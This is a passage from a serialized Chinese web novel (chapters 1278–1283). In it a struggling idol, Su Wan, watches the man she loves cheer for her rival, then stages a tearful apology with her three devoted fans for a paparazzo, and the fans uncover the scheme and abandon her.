主持人匆匆上台,试图用几句客套话化解尴尬:“感谢苏婉的表演,看得出来她非常努力……接下来让我们欢迎下一位嘉宾。” 可没人听见主持人说了什么。 所有人都知道苏婉的心态崩了。 她走下舞台时,脚步虚浮,像踩在棉花上。 后台的走廊灯光惨白,照得她脸色发青。 她冲进更衣室,反锁上门,背靠着门板缓缓滑坐在地,终于忍不住捂住脸,低声哭了出来。 最终还是强忍住哭意继续坚持录制节目。 聚光灯如金纱般洒落,舞台中央,苏婉与温栩栩并肩而立,笑意盈盈地向台下观众鞠躬致谢。 掌声雷动,欢呼如潮,可就在她抬眸扫视观众席的瞬间,一道熟悉而清冷的身影,像一把无声的刀,猝然刺入她的心脏。 是黎云笙。 他坐在第三排正中央的位置,身姿挺拔,一袭深灰色高定西装衬得他气质清冷如霜。 他没有看她,目光温柔而专注地落在温栩栩身上,唇角微扬,眼底竟有难得的柔和。 那一刻,苏婉只觉得呼吸一滞,仿佛整个世界的声音都在刹那间被抽离,只剩下心脏在胸腔里剧烈地撞击,又在下一秒骤然停摆。 他怎么会在这里? 苏婉的指尖微微发颤,掌心沁出冷汗。 她出道这么久,黎云笙从未真正来探过她的班,哪怕她曾在生日当天发过一句“好想你在”,他也只是冷淡地回了句“忙”。她曾无数次在深夜收工后,独自走在空荡的走廊里,幻想他会不会突然出现在拐角。可从来没有。 一次都没有。 第1278章 他是为温栩栩来的 她曾安慰自己他是大人物,日理万机,哪有时间管她一个小明星呢?可如今,他却坐在这里,西装笔挺,神情专注,像是为谁而来,又像是为谁而守。 答案,不言而喻。 他是为了温栩栩来的。 这个认知像一盆冰水,从头浇下,将她心中残存的幻想彻底浇灭。 她站在台上,灯光灼热,可她却冷得发抖。 她甚至不敢再看黎云笙一眼,可目光却像被无形的线牵引着,不受控制地再次望向他。 就在这时,黎云笙抬起了眼。 两人的视线在空中猝然相撞。 那一瞬,时间仿佛凝固。 苏婉的心跳几乎要冲破胸膛,她下意识地屏住呼吸,眼中泛起一层薄薄的水光,像是在等待一个奇迹,哪怕只是一个微小的示意,一句无声的问候,或是哪怕一丝旧日温情的余温。 可黎云笙的眼神,却冷得像冬日的湖面,结着厚厚的冰,没有一丝波澜。 他的目光落在她脸上,短暂得如同掠过一片无关紧要的风景,没有停留,没有情绪,甚至没有一丝属于“相识”的痕迹。 那眼神里没有怨,没有恨,更没有爱,只有一种近乎残忍的疏离与凉薄,仿佛她只是一个陌生的、与他毫无关联的过客。 他看她,就像在看一个陌生人。 不,甚至不如陌生人,陌生人至少还能激起一丝好奇或怜悯,而他眼中的她,连存在都显得多余。 苏婉的指尖猛地掐进掌心,疼痛让她勉强维持住脸上那抹僵硬的笑。她想移开视线,可身体却像被钉在原地,只能任由那双冰冷的眼睛将她剥开、审视、然后漠然丢弃。 她曾无数次在梦里见过他的眼神,温柔、宠溺、带着只属于她的笑意。 可现实却狠狠扇了她一巴掌。原来,当他真的看着你时,却比永远不看你更残忍。 他不是没看见她,他是看见了,却选择无视。 他不是不在乎她,他是早已将她从生命中彻底抹去。 苏婉的喉咙发紧,像是被无形的手扼住,连呼吸都变得艰难。 对啊,黎云笙没有喜欢过她,她以为他们之间有过不可割舍的羁绊?可事实上她以为的羁绊,不过是她一厢情愿的幻想。 如今,他坐在这里,为另一个女人而来。 他为温栩栩鼓掌,为她微笑,为她眼中泛起光。而她苏婉,不过是他视线掠过时,不小心沾上的尘埃。 “苏婉老师,该你发言了。”身旁,温栩栩轻声提醒,声音甜美,带着一丝关切。 苏婉猛地回神,才发现自己已失神太久。 她强撑着笑容,接过话筒,声音却微微发颤,她说着,目光却不经意再次扫向黎云笙。 这一次,他正侧头与身旁的助理低声交谈,神情淡漠,仿佛台上的一切都与他无关。 可当温栩栩接过话筒,笑着说起排练时的趣事时,他的眼神却悄然亮起,唇角微扬,连眉梢都染上一丝笑意。 那笑容,苏婉曾以为,只属于她。 可现在,她终于明白,原来他不是不会笑,只是不愿为她笑,他不是没有温柔,只是不愿给她。 她站在光里,却像被遗弃在最深的暗处。 台下的掌声依旧热烈,可苏婉却觉得整个世界都在崩塌。 她不是赢家。 她连一个观众都不是。 她是那个被遗忘在角落的旧物,连被憎恨的资格都没有。 她曾以为,只要她足够努力,足够优秀,总有一天能重新走进他的世界。 可现在,他来了,却不是为她。 他来看别人发光,而她,只是背景板。 苏婉缓缓闭上眼,一滴泪无声滑落,迅速被灯光蒸发,仿佛从未存在过。 她深吸一口气,重新睁开眼,脸上已恢复平静,甚至带上了一丝淡淡的笑。 她转身,走向舞台深处,背影单薄而倔强。 而台下,黎云笙终于抬眸,目光追随着温栩栩的身影,温柔如水。 他没有再看她一眼。 仿佛她从未存在过。 苏婉在后台的角落里停下脚步,终于允许自己靠着墙滑坐在地。她将脸埋进膝盖,肩膀微微颤抖。她没有哭出声,可泪水却像断了线的珠子,不断砸落在裙摆上,晕开一朵朵无声的花。 她终于明白,有些人,不是你爱得够深,就能留住的。 有些人,从一开始就注定不属于你。 而黎云笙,从来就不曾属于她。 他眼中的光,从未为她亮起过。 她曾以为的深情,不过是她一个人的独角戏。 而此刻,他坐在台下,为另一个女人鼓掌,为她微笑,为她存在。 而她,连被恨的资格都没有。 她只是他生命中的一个过客,一个被遗忘在风里的名字。 苏婉抬起头,望着天花板上刺眼的灯光,轻声呢喃。 为什么是温栩栩呢,为什么偏偏是温栩栩呢? 节目录制结束的铃声响起,喧嚣的场馆如退潮般渐渐安静下来。 观众陆续离场,灯光一盏盏熄灭,只剩下后台走廊里昏黄的应急灯,在墙面上投下长长的、孤寂的影子。就在这片冷清中,一个身影急匆匆地穿过走廊,是苏婉。 她没有像其他嘉宾那样停留致谢,也没有接受任何采访,而是低着头,发丝凌乱地垂在脸侧,像一只被暴雨淋透的鸟,仓皇地逃向后台那间狭小的单人休息室。 高跟鞋在地板上敲出急促而凌乱的声响,每一步都像是在逃离什么,又像是在追逐什么。 她身后,三个女孩紧紧跟随,短发的女孩抱着那块被汗水浸湿的灯牌,另一个攥着为她准备的应援手幅,最后一个手里还提着保温杯,里面装着温水,是她们特意为苏婉准备的,怕她嗓子不舒服。 她们是苏婉仅有的粉丝。 从她还在练习生时期就开始关注,从她第一支翻跳视频点赞到如今,她们见证了她每一次的挣扎、每一次的坚持。 她们不是富二代,不是网红,只是普通的女学生,却愿意把省下的饭钱用来买应援物,把熬夜的时间用来剪视频、写文案、反黑控评。她们曾被同学嘲笑“追星脑残”,被家人责骂“不务正业”,可她们始终坚信苏婉值得。 第1279章 她们像个笑话 她们这次拼了命地抢票、请假、连夜坐绿皮火车赶来,只因为几天前,苏婉在微博私信里对她们说需要她们。 她们以为,这是偶像对她们的依赖,是彼此之间情感的确认。她们以为,苏婉需要她们,就像她们需要她一样。 可现在—— 苏婉猛地推开休息室的门,门“砰”地一声关上,锁扣“咔哒”落下。 三个女孩刚抬手欲敲,却听见门内传来一声尖锐的怒吼: “等会儿我的几个粉丝会来找我,我会抱住她们,跟她们说对不起!这些画面必须都给我拍下来,立刻发到微博上!听懂没有?!” 声音气急败坏,带着压抑不住的焦躁与算计。 三个女孩的手僵在半空,指尖微微颤抖。 她们面面相觑,眼神里写满了错愕、震惊、不敢置信。 她说什么? “抱住粉丝说对不起”? “必须拍下来发微博”? 这不是真心的道歉,不是情感的流露,而是一场精心策划的公关表演。 短发女孩的手指缓缓松开,灯牌“啪”地一声掉在地上,发出沉闷的响声。 她却像没听见,只是呆呆地站在原地,瞳孔失焦,仿佛整个世界都在这一刻崩塌。 门内,苏婉的声音仍在继续,隔着薄薄的门板,清晰得刺耳: “呸,就是几个没身份没地位的粉丝,还说什么大粉,我还以为能为我带多少人,结果呢?那几个人够做什么的?还不够让我丢脸的!衬得我像个笑话!” 每一个字,都像一把锋利的刀,狠狠捅进她们的心脏。 “没身份没地位的粉丝”? “像个笑话”? 她们曾把苏婉当作信仰,当作黑暗生活里的光。 她们在微博上为她反黑,熬夜删黑评,被网暴也不退缩,她们创建后援会,自费印应援物,只为让她在舞台上多一秒被看见,她们甚至被黄牛骗走半个月的生活费,只为了买到一张前排票。 可现在,她们的付出,在苏婉眼里,不过是“可利用的工具”。 短发女孩缓缓弯下腰,捡起地上的灯牌。 那块曾被她视若珍宝的亚克力板,此刻却像一块烧红的铁,烫得她掌心发痛。 她低头看着灯牌上自己亲手写的字“苏婉,我们永远在你身后”,突然觉得可笑至极。 永远在你身后?可你,从来就没回头看我们一眼。 另一个女孩咬着嘴唇,眼眶通红。 第三个女孩默默流着泪,她想起自己曾在微博写下:“追星不是为了得到什么,而是想成为更好的人。”可此刻,她只觉得自己像个傻子,一个被精心编织的谎言愚弄的傻子。 门内,苏婉的声音依旧在继续,语气中带着深深的懊恼与不甘。 “我这么努力,为什么还是比不过温栩栩?她一出场就是神,我拼尽全力却连舞步都踩不准!可粉丝……粉丝至少得帮我撑住场面!现在倒好,就三个?三个也敢叫粉丝?” 听到这里,三人彻底僵住。 原来,苏婉的自卑与痛苦,从来不是因为粉丝的离开,而是因为比不过温栩栩。她的不甘,她的挣扎,她的崩溃,都是源于嫉妒与落差。而她们这三个“忠实粉丝”,在她眼中,不是支持者,不是陪伴者,而是可以榨取最后一点价值的工具人。 她要的不是她们的爱,而是她们能带来的流量、热度、话题度。 她要的不是她们的陪伴,而是她们能成为她“逆袭人设”中的一块垫脚石。 她要的,从来都不是她们。 短发女孩突然笑了,笑得凄凉,笑得苦涩。 “我们……是不是从一开始就选错了?”她低声问,声音轻得像风,却重重砸在另外两人的心上。 没有人回答。 因为她们都知道,她们没有选错苏婉。 她们错的是,把一个活生生的人,当成了不会受伤的神。 她们错的是,以为真心能换来真心。 她们错的是,忘了在这个娱乐圈里,情感,也可以被明码标价。 可她们真的错了吗? 不。 她们没有错。 错的是那个把粉丝的爱当作筹码的世界,错的是那个用数据衡量价值的体系,错的是那个让苏婉在自卑与虚荣之间反复撕扯的环境。 粉丝能明白的道理,苏婉却不明白,此刻苏婉在狭小的休息室里来回踱步,高跟鞋在地板上敲出急促而凌乱的节奏,像她此刻焦躁不安的心跳。 她一边走,一边低头看手机,屏幕亮了又暗,暗了又亮,却始终没有等来她预想中的“粉丝到场”的消息。 她眉头紧锁,嘴里不耐烦地嘀咕着:“怎么还没来?不是说好了吗?关键时刻一个都靠不住,真是废物!” 她等的,不是别人,正是那三个她口中“没用的女学生”。可她等的,也不是她们的人,而是她们能带来的“场面”,她计划好的一场“真情流露”的公关戏码。 粉丝到场,她含泪拥抱,说“对不起,让你们失望了”,然后狗仔抓拍,热搜预定,舆论反转,粉丝感动,路人同情,一切重来。 可人呢? 她越想越气,终于忍不住猛地拉开门,想亲自去走廊找人。 可门一开,三个女孩就站在门口,像三尊沉默的雕像,眼眶通红,面容苍白,眼神空洞得仿佛灵魂被抽离。 “啊!”苏婉被吓得猛地后退一步,手拍着胸口,惊魂未定地喘着气,“你们什么时候来的?怎么也不敲门?吓死我了!” 没人回答。 三人只是静静地看着她,目光里没有崇拜,没有激动,只有一种深不见底的疲惫与失望。 那眼神,像在看一个陌生人,又像在看一个曾经无比熟悉、如今却彻底陌生的人。 苏婉愣了一下,随即心里泛起一丝异样的波动。 她从未见过她们这样。 以往的她们,总是笑着的,举着灯牌,喊着她的名字,眼睛里闪着光。 可现在,她们像被抽走了灵魂,连呼吸都显得沉重。 她忽然想到什么,眼神微动。 难道……她们是因为我在接节目组里被欺负,所以心疼哭了? 这个念头一冒出来,竟让她心头一热。 第1280章 请求 她最近在组里面确实被孤立得厉害,工作人员对她爱答不理,其他工作人员也刻意疏远她,连导演都很少给她镜头。她每天晚上辗转难眠,吃不下饭,瘦了一圈,脸色憔悴得连粉都盖不住。 她以为,是这三个粉丝看穿了她的痛苦,所以才哭得这么伤心。 “先进来吧。”她终于开口,语气难得地柔和了几分,抬了抬下巴,示意她们进屋。 三人默默走进去,像三缕飘进来的风,轻得几乎没有声音。 苏婉从冰箱里拿出三瓶果汁,递过去:“先喝点东西,晚点我带你们出去吃饭。” 短发女孩接过果汁,手指冰凉,握着瓶子却没打开。 另外两人也一样,只是低头看着手中灯牌。 苏婉只当她们今天受的刺激太大,因为她的“出丑”和“被欺负”而伤心过度,便叹了口气,勉强笑了笑:“谢谢你们……真的,有你们在,我……我至少还有人撑。” 她声音低落,眼神里闪过一丝真实的情绪。或许在这一刻,她真的感受到了一点温暖。 可就在这时,休息室的门被轻轻敲响。 苏婉脸色一变,眼神瞬间变得警惕。 她迅速整理了一下头发,深吸一口气,这才走过去开门。 门外站着一个穿着休闲西装、背着摄像包的男人,正是她约好的狗仔记者,业内有名的“热搜制造机”。 “你来了。”苏婉压低声音,侧身让他进来,“先坐会儿,我这边还没准备好。” 狗仔懒洋洋地走进来,扫了眼屋里的三个粉丝,嘴角勾起一抹不屑的冷笑,仿佛在看几只误闯进贵妇客厅的流浪猫。 他随意地坐在沙发上,掏出摄像机,开始调试镜头。 短发女孩一看到他,心猛地一沉。 她想起来了,昨天深夜,她接到一个陌生电话,对方自称是“媒体朋友”,问她:“你是不是苏婉的粉丝?她最近在组里被针对,你想不想知道真相?”她当时还信以为真,以为是有人想帮苏婉发声,可现在看来,那根本就是苏婉和狗仔联手设的局。 她们,从头到尾,都是被利用的棋子。 她只觉得心寒,像被人从背后狠狠捅了一刀,还笑着对她说:“这是为你好。” 苏婉却仿佛没察觉气氛的异样,反而特意走到短发女孩面前,半蹲下来,与她平视。 她最近被孤立得厉害,晚上根本睡不好,眼下乌青,脸色蜡黄,整个人憔悴得让人心疼。 “今天让你们过来,是有点事……希望你们帮我。”她声音低沉,带着一丝苦涩的笑,“我现在,在网络上风评很差。” 她顿了顿,像是在积蓄勇气,又像是在酝酿情绪。 “你们也知道我现在算是走投无路了,做任何事都会被人放大嘲讽的。” 她说着,眼眶微微泛红,声音颤抖,像一只被全世界抛弃的小兽。 狗仔在一旁嗤笑一声,毫不掩饰地翻了个白眼,低声嘟囔:“演得挺像那么回事。” 苏婉听见了,却只能假装没听见,继续用那副楚楚可怜的模样看着三个粉丝,声音轻得像在哀求:“温栩栩太厉害了,她一出场就是神,我呢?我拼尽全力,却连舞步都踩不准。我输了,我认了……可我不希望,那些还喜欢我的人,对我失望。” 她伸出手,轻轻握住短发女孩的手,指尖冰凉:“所以,能不能……请你们跟我拍几组照片?就当是……让我跟粉丝们说声对不起。让她们知道,我不是不在乎,我只是……太难了。” 她的眼神里闪着泪光,语气真挚得近乎虔诚。 可短发女孩却笑了。 那不是感动的笑,而是讥讽的、悲凉的、看透一切的笑。 她缓缓抬起头,直视苏婉的眼睛,声音平静得可怕: “所以你说这些想做什么?想在我们面前演戏,想给其它没有来现场的粉丝演戏是吗?” 这句话像一记重锤,狠狠砸在苏婉心上。 她愣住了,手不自觉地松开。 “演戏?”她喃喃道,像是没听懂。 “是啊。”短发女孩站起身,声音不大,却字字清晰,“你让我们来,不是因为想见我们,不是因为需要我们,而是因为你需要我们当你的‘背景板’,当你的‘眼泪道具’,当你的‘热搜素材’,对吗?” 她一步步逼近,眼神锐利如刀。 “你根本不在乎我们是不是真的难过,你只在乎我们能不能帮你上热搜,你不在乎我们是不是被黄牛骗钱,只在乎我们能不能帮你造势,你不在乎我们是不是被同学嘲笑‘追星脑残’,只在乎我们能不能在微博上为你反黑!” 她的声音开始颤抖,却依旧坚定。 “你说你被冷暴力,可你对我们,不也是一样的冷漠吗?你说你走投无路,可你有没有想过,我们为了支持你,也早就走投无路了?我们省下饭钱买票,熬夜为你剪视频,被网暴也不退缩……可你呢?你把我们当成什么?可以随意利用的工具?” 苏婉张了张嘴,想辩解,却发现一个字都说不出。 狗仔在一旁饶有兴致地举着摄像机,镜头对准了这场“粉丝与偶像的对峙”,眼神里满是兴奋。 这可比预想的“温情拥抱”劲爆多了。 “你今天说的每一句话,是不是也早就排练好了?”短发女孩继续道,“‘对不起’‘我太难了’‘你们是我最后的光’……这些话,你是不是对每一个能帮你上热搜的粉丝都说一遍?” 她忽然笑了,笑得眼泪都流出来: “我们以为,你是真的需要我们。可原来,你只是需要‘粉丝’这个身份,来包装你的可怜,来博取同情,来翻身一搏。” “可我们……我们是活生生的人啊。” 最后五个字,轻如羽毛,却重如千钧。 苏婉终于低下了头。 她第一次,不敢直视粉丝的眼睛。 她以为自己在演一场戏,可她们,却把这场戏当成了人生。 她以为自己在利用她们,可她们,早已把她的喜怒哀乐,当成了自己世界的中心。 第1281章 被利用 她以为自己在操控舆论,可她忘了真心是演不出来的。 狗仔满意地笑了:“行了,素材够了,明天热搜稳了。” 苏婉站在原地,手里还攥着那瓶没送出去的果汁,指尖发抖。 她忽然觉得,自己才是那个最可笑的人。 她想用粉丝的爱来证明自己值得被爱,可她却亲手毁掉了这份爱。 她想用眼泪换来同情,可她却让真正心疼她的人,彻底心死。 苏婉为什么那时候会突然在微博私信她们? 那条看似温柔、带着几分脆弱与依赖的消息,像一束微弱的光,穿透了她们被现实压得喘不过气的生活。 消息里说:“最近好难,快撑不住了……想见见你们,你们能来现场吗?”字里行间,是无助,是孤独,是偶像对粉丝最后的呼救。 她们信了。 她们怎么可能不信? 从苏婉还在练习生时期就守在直播间,为她刷第一条弹幕,在她被黑粉围攻时,一个人扛起反黑组的重担。她们不是富家千金,不是网红大粉,只是三个普通的女学生,却愿意把最纯粹的情感、最宝贵的青春,毫无保留地倾注在她身上。 她们看到那条私信时,心都揪紧了。 她们拼了命地抢票,凑钱买应援物,她们带着灯牌来到现场只是想让苏婉知道他们会一直在。 可她们没想到,这场“奔赴”,从一开始就是一场精心设计的骗局。 她们来早了几分钟,躲在休息室外的角落里,想给她一个惊喜。 却意外听到了那通电话,苏婉压低声音,语气冷静得不像话:“……对,我让那几个粉丝来了,等会儿我会哭,会抱她们,你记得拍下来,发微博,标题就写‘苏婉崩溃道歉,粉丝暖心守护’……对,要突出我多不容易,她们多感动……” 那一刻,她们的世界轰然崩塌。 原来,她们不是“被需要”,而是“被需要来演戏”。 原来,她们不是“被爱”,而是“被利用来博同情”。 原来,她们不是“粉丝”,而是“工具人”,是苏婉在舆论风暴中,用来翻身的最后一张牌。 如果她们没来早,如果她们按着剧本走,含泪拥抱,被镜头捕捉,被剪辑成“偶像与粉丝的感人重逢”。 那她们,真的会像个傻子一样,被她摆布,被她利用,被她当成洗白人设的垫脚石。 可现在,她们听见了真相。 听见了那个她们曾奉为神明的姐姐,如何冷静地算计她们的真心。 苏婉没想到,自己的粉丝会用这种语气怼她。 她怔在原地,像是被一记耳光狠狠扇醒。她张了张嘴,声音里带着一丝慌乱:“你们这是怎么了?我只是……” “你只是走投无路了,想利用我们宣传一波,用个苦肉计,洗你那一身黑料!”短发女孩猛地打断她,声音颤抖,却字字如刀。 苏婉的脸色瞬间变了。她从未见过粉丝这样,不再是温顺的、崇拜的、无条件支持的“小迷妹”,而是带着愤怒、失望与清醒的“人”。 狗仔坐在一旁,原本只是来拍点“温情画面”好写通稿,此刻却像是发现了更大的猛料,忍不住“噗嗤”一声笑了出来:“哎哟,这是想利用死忠粉啊?苏婉,你可真够不要脸的啊!” 笑声像一把锋利的刀,割开了苏婉最后一丝体面。 她额头青筋跳动,终于忍不住低声斥道:“你们不是我的粉丝吗?既然是我的粉丝,就该向着我,继续帮我!” 这句话一出,整个休息室的空气仿佛都凝固了。 短发女孩怔怔地看着她,眼神里有震惊,有心痛,更有彻骨的寒意。 “我们是你的粉丝,就活该被你当傻子哄?” 她的声音陡然拔高,带着哭腔,却字字铿锵,“明知道我们就是群没用的女学生,你干什么要私信我们,让我们来现场?我们担心你被欺负,带着灯牌、带着礼物来看你,想安慰你,告诉你我们还在,可你是怎么对我们的?” 她一步步逼近,像是要把委屈、不甘、信仰的崩塌,全都砸在苏婉脸上: “你把粉丝当什么呢?当人吗?还是当可以随意利用的工具?当物件?当你可以随时拿出来擦眼泪、换热搜的道具?” 她的声音越来越抖,眼眶红得像要滴出血来。 “我们不是没脑子!我们不是不知道娱乐圈的套路!可我们还是信了你!因为我们以为……你和她们不一样!” “我们以为,你是值得的。可现在……你让我们觉得自己像个笑话。” 苏婉浑身一僵,像是被钉在原地。 她想辩解,想说“我不是故意的”,想说“我也很难”,可她张不开嘴。 因为她知道她说的每一句“我很难”,都是真的。可她利用粉丝的方式,也是真的。 她确实被孤立,确实被冷暴力,确实压力大到崩溃。 可她选择的不是面对,而是利用那些最信任她的人,来为自己铺路。 狗仔在一旁笑得更欢了,像是看够了戏,开始落井下石:“是呢是呢,苏婉就是个狼心狗肺的东西。你们真当她多在乎你们?她要真在乎,就不会故意让你们今天来现场了。你们当你们喜欢的苏婉是真实的?不,那都是公司给她立的人设,温柔、坚强、重情重义。可现实里的她?自私、凉薄、无情,还愚孝,为了资源什么都能做!” 每一句话,都像一把刀,狠狠扎进三个女孩的心里。 短发女孩脚下发软,整个人瑟瑟发抖。她觉得呼吸困难,胸口像被压了块巨石。 她不是因为狗仔的话而崩溃,而是因为她终于看清了。 看清了那个她曾用青春去守护的偶像,其实从没真正看过她一眼。 她觉得自己像个傻子。 一个为了偶像熬夜反黑的傻子,一个被黄牛骗了钱还笑着说“值得”的傻子,一个明明被伤害了,却还在为她找借口的傻子。 可她还有自尊心。 哪怕心碎成片,她也不愿再跪着求一个早已不值得的人。 第1282章 你现在不配 她抬手,狠狠抹掉眼角的泪水,动作决绝,像在斩断最后一丝执念。 她深深看了苏婉一眼,那一眼,有失望,有痛心,有告别。 “我们这就走了。”她的声音很轻,却异常坚定,“你以后……保重吧。” 没有愤怒的咆哮,没有歇斯底里的质问,只有一句平静的告别。 可正是这份平静,让苏婉彻底慌了。 她下意识地伸手想拦,却在触碰到短发女孩衣角的瞬间,被对方轻轻避开。 那一下闪避,像一记耳光,狠狠扇在她脸上。 她终于意识到,她失去了什么。 不是热搜,不是舆论,不是粉丝数据。 而是那三颗,曾为她跳动过的心。 另外两个女孩也站起身,默默跟上。 她也说不出什么更狠毒的话了。 不是因为愤怒已尽,而是因为真正的伤害,从来不需要恶语相向。 那些被撕开的真相,像一把钝刀,缓慢地割开她们心中最后一层温情的伪装。狗仔把一切都扯开了,毫不留情地将苏婉的算计、她的表演、她那场精心策划的“苦肉计”公之于众。 那一刻,她们终于明白,自己不是被需要,而是被设计不是被信任,而是被利用。 她们曾是苏婉最坚定的大粉,是那个在她低谷期仍守在超话里发帖打气的人,是熬夜剪辑应援视频、在寒冬里举牌守候的人。 她们把青春里最炽热的情感,毫无保留地献给了屏幕里的那个“她”,那个努力、坚韧、温柔又倔强的少女偶像。 她们信她,如同信一个不会塌陷的梦。 可现在,梦碎了。 网络上那些铺天盖地的负面新闻,她们曾一条条反驳,一句句辩解,说“那是黑粉造谣”“她只是太难了”“她需要时间”。 她们不肯信,不是因为无知,而是因为——她们不敢面对自己错付的那几年感情。 她们把对生活的希望,寄托在了一个虚构的“苏婉”身上。她们不愿承认,自己倾注了全部真心的人,竟只是一个披着人设外衣的投机者。 所以她们来了。 带着灯牌,带着最后一丝不甘心,想再看她一眼,想再信她一次。她们想用行动告诉自己:“我没做错事,我的喜欢,值得。” 可事实,却像一堵冰冷的墙,狠狠撞在她们脸上。 她们听到了那通电话,苏婉冷静地安排着“哭戏”,指挥着“拍摄角度”,算计着“热搜话题”。 那一刻,她们终于明白,自己不是“粉丝”,而是“道具”;不是“支持者”,而是“可利用资源”。 如果她们没来早,如果她们按着剧本走,含泪拥抱,被镜头捕捉,被剪辑成“偶像与粉丝的感人重逢”,那她们,真的会像个傻子一样,被全世界嘲笑,而自己还浑然不觉。 马尾辫女孩低着头,手指紧紧攥着应援手幅,指节泛白。她想起自己曾为苏婉和黑粉对骂,被网暴到失眠,想起自己省下饭钱买专辑,只为让她多一个销量。她没哭,但心在滴血。娃娃头女孩则默默抱着灯牌,像是抱着最后一点执念。她没说话,但眼神已经告诉所有人,她不会再信了。 她们跟在短发女孩身后,脚步缓慢,却坚定。 狗仔在一旁幸灾乐祸地收拾摄像机,嘴里还哼着小调:“这戏可比综艺精彩多了,明天标题就叫《苏婉人设崩塌实录:粉丝觉醒,当场反杀》。” 他不在乎谁对谁错,他在乎的,是流量,是话题,是这场“真人秀”的收视率。 而苏婉,彻底慌了。 她不是怕舆论,不是怕热搜,而是怕她真的被抛弃了。 她眼睁睁看着她们走向门口,像看着自己最后的救命稻草被风吹走。 她猛地冲上前,一把扯住短发女孩的手臂,指甲几乎嵌进对方的皮肤:“你们不能走!你们是我的大粉!你们该跟我共进退的!” 声音里带着颤抖,带着乞求,也带着一丝濒临崩溃的疯狂。 短发女孩缓缓转身。 她的眼睛发红,却不再有泪。 她盯着苏婉,像是在看一个陌生人,一个她曾用整个青春去崇拜,却最终亲手将她推入深渊的人。 “你配吗?” 三个字,轻如羽毛,却重如千钧。 “从你打算利用我们那天开始,你就不再配我们跟你共进退了!”她的声音不高,却字字如刀,“我们不是你的工具,不是你公关剧本里的群演。我们是人,是曾经把你当精神支柱的人。可你现在不配了。” 苏婉的脸色瞬间惨白。 她张了张嘴,想辩解,想哭,想跪下求她们留下。 可她没有。 她只是死死盯着她们,像是要从她们脸上找出一丝动摇的痕迹。 可没有。 她终于崩溃了,声音扭曲,面目狰狞:“可你们当初喜欢我什么呢?你们的爱本来就肤浅!你们的喜欢本来就很廉价!有了更优秀、更漂亮的,你们马上就会去喜欢她们!所以我凭什么为了你们这样的粉丝,去回报那么多深情?” 她几乎是嘶吼出来的,像是在质问全世界,又像是在质问自己。 “所以我凭什么?凭什么我要为你们的盲目买单?你们的爱,根本不值钱!你们的喜欢,随时会变!你们现在不就要去喜欢温栩栩了吗?你们也要背叛我,去选择她,对不对?” 她抬手指向门外,手指颤抖,眼神疯狂。 “你是不是真的有病!”潇潇终于忍受不住,猛地推开她,力道之大,让苏婉踉跄后退,撞到墙上。 她死死盯着苏婉,眼眶通红,却不再有泪。 她缓缓弯腰,捡起地上那块被摔成几瓣的灯牌,那上面还亮着微弱的光,映出“苏婉,我们一直在”几个字。 她盯着那光,忽然笑了,笑得凄凉,笑得释然。 “我们这种人,把你当精神支柱。”她声音轻得像风,“可你现在,不配了。” 她将灯牌狠狠摔在地上,清脆的碎裂声在寂静的休息室里回荡,像一场盛大葬礼的钟声。 第1283章 那颗星星碎了 “曾经的你,艰苦努力,练舞到凌晨,受伤了也不喊疼,你说‘我想成为值得被喜欢的人’。那时候的你,是真的。”她盯着苏婉,一字一句,“可现在的你,虚伪、算计、把真心当筹码。你让人恶心。” 苏婉身体陡然僵硬,像被钉在原地。 她张着嘴,却发不出声音。 她想说“我不是”,想说“我也有苦衷”,可她知道她说什么,都没用了。 潇潇转过身,带着马尾辫和娃娃头女孩,一步步走向门口。 苏婉终于慌了。 她跌跌撞撞地跟上去,声音颤抖:“等等……等等……” 她怯怯地伸出手,像是想拉住谁,可没人回头。 “你们喜欢的……不一直都是我的人设吗?”她低声说,声音里带着一丝最后的挣扎,“你们喜欢的,是那个努力、坚强、温柔的苏婉。可那本来就是演的啊……你们知道的,对吧?” 潇潇在门口停下。 她缓缓转过头,看着苏婉。 那一瞬,她笑了。 那笑,不是讥讽,不是愤怒,而是一种近乎悲悯的释然。 “对啊。”她说,“我们喜欢的,是那个人设。可我们以为,那个人设背后,有真实的你。” 她顿了顿,声音轻得像叹息: “可你不是。你连演都懒得演了。你脱掉了那人设,露出了最真实的自己,一个自私、凉薄、把粉丝当棋子的可怜人。” 她看着苏婉,眼神平静,却像在看一个陌生人: “所以我们凭什么还继续捧着你、喜欢你?你真当这世界完全围着你转吗?苏婉,我们不会再喜欢你了。我们不会继续当一个愚蠢的傻瓜了。” 短发女孩潇潇像是终于报复到了苏婉,唇角微微扬起,勾出一抹嘲讽的冷笑,仿佛终于将积压多年的委屈与愤怒狠狠掷回对方脸上。那笑容里有释然,有讽刺,也有一丝近乎悲壮的胜利感。 她转身,脚步坚定,带着马尾辫女孩和娃娃头女孩一步步走向门口,背影挺直如松。 可就在转身的瞬间,那抹笑意骤然凝固,眼眶悄然泛红,像被晚风拂过的烛火,摇曳着即将熄灭的光。 她迅速低下头,用指尖轻轻擦过眼角,动作极轻,仿佛怕被人察觉。 可那滴悬而未落的泪,终究还是滑了下来,坠入阴影里,无声无息。 粉了那么多年的人,曾经被当做信仰的人,那里是那么容易说不喜欢就不喜欢了? 她记得第一次在选秀节目里看见苏婉时的样子,那个穿着洗得发白的练功服、眼神倔强的女孩,站在角落里默默加练,汗水浸透衣衫,却从不喊累。她唱得不算最完美,跳得也不最惊艳,可她身上有种东西,让人心疼,也让人相信只要努力,就能被看见。 那一刻,潇潇在日记本上写下:“我想成为像苏婉一样的人。” 她追她的每一场直播,看她的每一个采访,把她说过的每一句“我会更努力”抄在书桌前。 她曾在考试失利时听着苏婉的歌哭到睡着,也曾在人生低谷时因为一句“别放弃”而重新站起。 苏婉,不只是一个偶像,她是潇潇青春里最亮的那颗星,是她在黑暗中摸索时,唯一愿意相信的光。 可如今,那颗星碎了。 她不是被别人打碎的,是自己亲手撕碎了那层光晕,暴露出内里腐朽的骨架。 她利用粉丝的爱,设计情感的陷阱,把真心当作筹码,把信任踩在脚下。她以为自己在操控一切,却不知,她正在亲手摧毁那些曾把她当信仰的人。 潇潇知道,自己不能再喜欢她了。 知道了真相,还继续喜欢下去,那就真是傻瓜了。 可心,还是会痛。 像被撕开一道口子,血流不止,却不能喊疼。 她不是为苏婉哭,是为那个曾经无比虔诚的自己哭。 苏婉呆呆愣愣地望着她们离开的背影,像一尊被遗弃的雕像,凝固在原地。 门关上的声音,像一把锤子,重重砸在她心上。 她缓缓滑坐在冰冷的地面上,后背靠着墙,整个人仿佛被抽空了所有力气。她望着那扇紧闭的门,仿佛还能看见潇潇最后那个讥讽的笑,听见那句“我们不会再喜欢你了”。 那一刻,她突然觉得自己活该。 活该被放弃,活该有今天的下场。 